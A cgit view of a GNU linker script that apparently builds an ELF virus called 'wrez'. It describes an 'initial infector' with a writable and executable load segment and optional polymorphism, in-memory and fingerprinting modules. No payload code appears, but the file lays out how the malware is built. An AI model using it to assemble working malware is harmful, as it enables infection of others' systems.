summaryrefslogtreecommitdiff
path: root/other/wrez/wrez-link.lds
blob: 29e9ffb0f027e3ddafeeebfb62250960859b599d (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/* initial infector link description */

OUTPUT_FORMAT("elf32-i386", "elf32-i386", "elf32-i386")
OUTPUT_ARCH("i386")

ENTRY(wrez_init)

PHDRS
{
	text PT_LOAD FILEHDR PHDRS FLAGS (0x0007);	/* PF_R | PF_W | PF_X */
	data PT_LOAD FLAGS (0x0006);			/* PF_R | PF_W */
}

SECTIONS
{
	. = 0x06660000 ;
	.text : {
		wrez.o(.text)
		wrcore.o(.text)
#ifdef	POLYMORPHISM
		lime-interface.o(.text)
		lime.o(.text)
#endif
#ifdef	LOOKUP
		lookup.o(.text)
#endif
#ifdef	INMEM
		inmem.o(.text)
#endif
#ifdef	FINGERPRINT
		fingerprint.o(.text)
		crypto.o(.text)
#endif
		*(.text)
		*(.rodata)
		*(.data)
	} : text

	/* save calls to objcopy, huh */
	/DISCARD/ : {
		*(.bss)
		*(.eh_frame)
		*(.comment)
		*(.note)
	}
}